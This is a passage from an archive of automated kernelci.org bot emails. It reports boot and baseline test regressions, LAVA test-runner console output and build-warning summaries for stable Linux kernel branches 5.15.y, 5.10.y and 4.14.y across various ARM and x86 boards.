2023-08-16T18:26:37.611073 / # export SHELL=/bin/sh. /lava-11301588/environment
2023-08-16T18:26:37.611987
2023-08-16T18:26:37.713712 / # . /lava-11301588/environment/lava-11301588/bin/lava-test-runner /lava-11301588/1
2023-08-16T18:26:37.715055
2023-08-16T18:26:37.719853 / # /lava-11301588/bin/lava-test-runner /lava-11301588/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-14a-cb0001xx-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...ok+kselftest | 1
Details: https://kernelci.org/test/plan/id/64dd15040432f6dd6635b20e
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook+kselftest
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd15040432f6dd6635b213
failing since 139 days (last pass: v5.15.104, first fail: v5.15.105)
2023-08-16T18:26:57.514247 + set +x
2023-08-16T18:26:57.517700 <8>[ 12.100296] <LAVA_SIGNAL_ENDRUN 0_dmesg 11301659_1.4.2.3.1>
2023-08-16T18:26:57.621971 / # #
2023-08-16T18:26:57.722537 export SHELL=/bin/sh
2023-08-16T18:26:57.722701 #
2023-08-16T18:26:57.823168 / # export SHELL=/bin/sh. /lava-11301659/environment
2023-08-16T18:26:57.823324
2023-08-16T18:26:57.923822 / # . /lava-11301659/environment/lava-11301659/bin/lava-test-runner /lava-11301659/1
2023-08-16T18:26:57.924074
2023-08-16T18:26:57.928913 / # /lava-11301659/bin/lava-test-runner /lava-11301659/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
lenovo-TPad-C13-Yoga-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd14c7abdfd8ae0735b1e2
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd14c7abdfd8ae0735b1e7
failing since 139 days (last pass: v5.15.104, first fail: v5.15.105)
2023-08-16T18:26:01.047818 + <8>[ 12.709640] <LAVA_SIGNAL_ENDRUN 0_dmesg 11301598_1.4.2.3.1>
2023-08-16T18:26:01.048352 set +x
2023-08-16T18:26:01.155737 / # #
2023-08-16T18:26:01.257984 export SHELL=/bin/sh
2023-08-16T18:26:01.258777 #
2023-08-16T18:26:01.360329 / # export SHELL=/bin/sh. /lava-11301598/environment
2023-08-16T18:26:01.361424
2023-08-16T18:26:01.463344 / # . /lava-11301598/environment/lava-11301598/bin/lava-test-runner /lava-11301598/1
2023-08-16T18:26:01.463750
2023-08-16T18:26:01.467837 / # /lava-11301598/bin/lava-test-runner /lava-11301598/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
lenovo-TPad-C13-Yoga-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...ok+kselftest | 1
Details: https://kernelci.org/test/plan/id/64dd14e995b948747035b1ee
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook+kselftest
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd14e995b948747035b1f3
failing since 139 days (last pass: v5.15.104, first fail: v5.15.105)
2023-08-16T18:26:43.279696 + set +x
2023-08-16T18:26:43.282933 <8>[ 12.815048] <LAVA_SIGNAL_ENDRUN 0_dmesg 11301643_1.4.2.3.1>
2023-08-16T18:26:43.387836 / # #
2023-08-16T18:26:43.488507 export SHELL=/bin/sh
2023-08-16T18:26:43.488757 #
2023-08-16T18:26:43.589563 / # export SHELL=/bin/sh. /lava-11301643/environment
2023-08-16T18:26:43.590395
2023-08-16T18:26:43.691796 / # . /lava-11301643/environment/lava-11301643/bin/lava-test-runner /lava-11301643/1
2023-08-16T18:26:43.692900
2023-08-16T18:26:43.697531 / # /lava-11301643/bin/lava-test-runner /lava-11301643/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
mt8173-elm-hana | arm64 | lab-collabora | gcc-10 | defconfig+arm...ok+kselftest | 1
Details: https://kernelci.org/test/plan/id/64dd1b2cc95d7dafd935b1d9
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook+kselftest
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd1b2cc95d7dafd935b1da
failing since 204 days (last pass: v5.15.89, first fail: v5.15.90)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
r8a77960-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd156a5ac58d0cf335b1e5
Results: 4 PASS, 2 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd156a5ac58d0cf335b1ea
failing since 20 days (last pass: v5.15.119, first fail: v5.15.123)
2023-08-16T18:30:21.914738 / # #
2023-08-16T18:30:22.015287 export SHELL=/bin/sh
2023-08-16T18:30:22.015456 #
2023-08-16T18:30:22.115959 / # export SHELL=/bin/sh. /lava-11301666/environment
2023-08-16T18:30:22.116094
2023-08-16T18:30:22.216623 / # . /lava-11301666/environment/lava-11301666/bin/lava-test-runner /lava-11301666/1
2023-08-16T18:30:22.216869
2023-08-16T18:30:22.228282 / # /lava-11301666/bin/lava-test-runner /lava-11301666/1
2023-08-16T18:30:22.282017 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T18:30:22.282100 + cd /lav<8>[ 15.969654] <LAVA_SIGNAL_STARTRUN 1_bootrr 11301666_1.5.2.4.5>
... (28 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
r8a77960-ulcb | arm64 | lab-collabora | gcc-10 | defconfig+kselftest | 1
Details: https://kernelci.org/test/plan/id/64dd168285228c7f3335b2c3
Results: 4 PASS, 2 FAIL, 1 SKIP
Full config: defconfig+kselftest
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd168285228c7f3335b2c8
failing since 20 days (last pass: v5.15.118, first fail: v5.15.123)
2023-08-16T18:35:08.994362 / # #
2023-08-16T18:35:09.096631 export SHELL=/bin/sh
2023-08-16T18:35:09.097305 #
2023-08-16T18:35:09.198528 / # export SHELL=/bin/sh. /lava-11301702/environment
2023-08-16T18:35:09.199150
2023-08-16T18:35:09.300342 / # . /lava-11301702/environment/lava-11301702/bin/lava-test-runner /lava-11301702/1
2023-08-16T18:35:09.301395
2023-08-16T18:35:09.318830 / # /lava-11301702/bin/lava-test-runner /lava-11301702/1
2023-08-16T18:35:09.442625 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T18:35:09.443131 + cd /lava-11301702/1/tests/1_bootrr
... (28 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
r8a779m1-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd1581eb36c7773d35b328
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd1581eb36c7773d35b32d
failing since 20 days (last pass: v5.15.119, first fail: v5.15.123)
2023-08-16T18:29:13.030444 / # #
2023-08-16T18:29:14.108585 export SHELL=/bin/sh
2023-08-16T18:29:14.110345 #
2023-08-16T18:29:15.598256 / # export SHELL=/bin/sh. /lava-11301673/environment
2023-08-16T18:29:15.600020
2023-08-16T18:29:18.319656 / # . /lava-11301673/environment/lava-11301673/bin/lava-test-runner /lava-11301673/1
2023-08-16T18:29:18.321920
2023-08-16T18:29:18.322522 / # /lava-11301673/bin/lava-test-runner /lava-11301673/1
2023-08-16T18:29:18.354781 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T18:29:18.397755 + cd /lava-113016<8>[ 25.563537] <LAVA_SIGNAL_STARTRUN 1_bootrr 11301673_1.5.2.4.5>
... (39 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
sun50i-h6-pine-h64 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd156beb36c7773d35b1db
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd156beb36c7773d35b1e0
failing since 20 days (last pass: v5.15.119, first fail: v5.15.123)
2023-08-16T18:30:33.257477 / # #
2023-08-16T18:30:33.359552 export SHELL=/bin/sh
2023-08-16T18:30:33.360225 #
2023-08-16T18:30:33.461401 / # export SHELL=/bin/sh. /lava-11301667/environment
2023-08-16T18:30:33.461625
2023-08-16T18:30:33.562053 / # . /lava-11301667/environment/lava-11301667/bin/lava-test-runner /lava-11301667/1
2023-08-16T18:30:33.562244
2023-08-16T18:30:33.568730 / # /lava-11301667/bin/lava-test-runner /lava-11301667/1
2023-08-16T18:30:33.634807 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T18:30:33.634875 + cd /lava-1130166<8>[ 16.780262] <LAVA_SIGNAL_STARTRUN 1_bootrr 11301667_1.5.2.4.5>
... (10 line(s) more)
2 years, 4 months
- 1
- 0
stable-rc/linux-5.10.y build: 19 builds: 0 failed, 19 passed, 7 warnings (v5.10.191)
by kernelci.org bot
stable-rc/linux-5.10.y build: 19 builds: 0 failed, 19 passed, 7 warnings (v5.10.191)
Full Build Summary: https://kernelci.org/build/stable-rc/branch/linux-5.10.y/kernel/v5.10.191/
Tree: stable-rc
Branch: linux-5.10.y
Git Describe: v5.10.191
Git Commit: da742ebfa00c3add4a358dd79ec92161c07e1435
Git URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git
Built: 7 unique architectures
Warnings Detected:
arc:
arm64:
arm:
i386:
mips:
32r2el_defconfig (gcc-10): 1 warning
riscv:
rv32_defconfig (gcc-10): 4 warnings
x86_64:
x86_64_defconfig (gcc-10): 1 warning
x86_64_defconfig+x86-chromebook (gcc-10): 1 warning
Warnings summary:
2 arch/x86/lib/retpoline.o: warning: objtool: .altinstr_replacement: unexpected end of section
2 <stdin>:830:2: warning: #warning syscall fstat64 not implemented [-Wcpp]
2 <stdin>:1127:2: warning: #warning syscall fstatat64 not implemented [-Wcpp]
1 WARNING: modpost: Symbol info of vmlinux is missing. Unresolved symbol check will be entirely skipped.
================================================================================
Detailed per-defconfig build reports:
--------------------------------------------------------------------------------
32r2el_defconfig (mips, gcc-10) — PASS, 0 errors, 1 warning, 0 section mismatches
Warnings:
WARNING: modpost: Symbol info of vmlinux is missing. Unresolved symbol check will be entirely skipped.
--------------------------------------------------------------------------------
allnoconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
allnoconfig (x86_64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig+arm64-chromebook (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
haps_hs_smp_defconfig (arc, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
i386_defconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
imx_v6_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v5_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
nommu_k210_defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
omap2plus_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
rv32_defconfig (riscv, gcc-10) — PASS, 0 errors, 4 warnings, 0 section mismatches
Warnings:
<stdin>:830:2: warning: #warning syscall fstat64 not implemented [-Wcpp]
<stdin>:1127:2: warning: #warning syscall fstatat64 not implemented [-Wcpp]
<stdin>:830:2: warning: #warning syscall fstat64 not implemented [-Wcpp]
<stdin>:1127:2: warning: #warning syscall fstatat64 not implemented [-Wcpp]
--------------------------------------------------------------------------------
tinyconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (x86_64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
vexpress_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
x86_64_defconfig (x86_64, gcc-10) — PASS, 0 errors, 1 warning, 0 section mismatches
Warnings:
arch/x86/lib/retpoline.o: warning: objtool: .altinstr_replacement: unexpected end of section
--------------------------------------------------------------------------------
x86_64_defconfig+x86-chromebook (x86_64, gcc-10) — PASS, 0 errors, 1 warning, 0 section mismatches
Warnings:
arch/x86/lib/retpoline.o: warning: objtool: .altinstr_replacement: unexpected end of section
---
For more info write to <info(a)kernelci.org>
2 years, 4 months
- 1
- 0
stable/linux-4.14.y baseline: 93 runs, 20 regressions (v4.14.323)
by kernelci.org bot
stable/linux-4.14.y baseline: 93 runs, 20 regressions (v4.14.323)
Regressions Summary
-------------------
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
rk3288-veyron-jaq | arm | lab-collabora | gcc-10 | multi_v7_defconfig | 2
rk3399-gru-kevin | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 2
Details: https://kernelci.org/test/job/stable/branch/linux-4.14.y/kernel/v4.14.323/p…
Test: baseline
Tree: stable
Branch: linux-4.14.y
Describe: v4.14.323
URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
SHA: 80b73c056d2076d12f9e50c753bb440fc79f30c9
Test Regressions
----------------
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd14699d5b14666b35b206
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd14699d5b14666b35b207
failing since 330 days (last pass: v4.14.267, first fail: v4.14.294)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd15bb5f777222ed35b27a
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd15bb5f777222ed35b27b
failing since 345 days (last pass: v4.14.267, first fail: v4.14.292)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd12a6523510a28435b1fb
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd12a6523510a28435b1fc
failing since 330 days (last pass: v4.14.267, first fail: v4.14.294)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd12e12639b4f29e35b1db
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd12e12639b4f29e35b1dc
failing since 345 days (last pass: v4.14.267, first fail: v4.14.292)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd142d9d5b14666b35b1e1
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd142d9d5b14666b35b1e2
failing since 330 days (last pass: v4.14.267, first fail: v4.14.294)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd14f522ba8ff0f735b1ea
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd14f522ba8ff0f735b1eb
failing since 382 days (last pass: v4.14.267, first fail: v4.14.290)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd12a52518bd8de435b1dd
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd12a52518bd8de435b1de
failing since 330 days (last pass: v4.14.267, first fail: v4.14.294)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd12cd2518bd8de435b216
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd12cd2518bd8de435b217
failing since 382 days (last pass: v4.14.267, first fail: v4.14.290)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd14535c7e3661a135b1f5
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd14535c7e3661a135b1f6
failing since 382 days (last pass: v4.14.267, first fail: v4.14.290)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd1595949c66284435b1da
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd1595949c66284435b1db
failing since 345 days (last pass: v4.14.267, first fail: v4.14.292)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd12a62518bd8de435b1e2
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd12a62518bd8de435b1e3
failing since 382 days (last pass: v4.14.267, first fail: v4.14.290)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd12bb17a797435b35b1e1
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd12bb17a797435b35b1e2
failing since 345 days (last pass: v4.14.267, first fail: v4.14.292)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd138d82f69c59eb35b42a
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
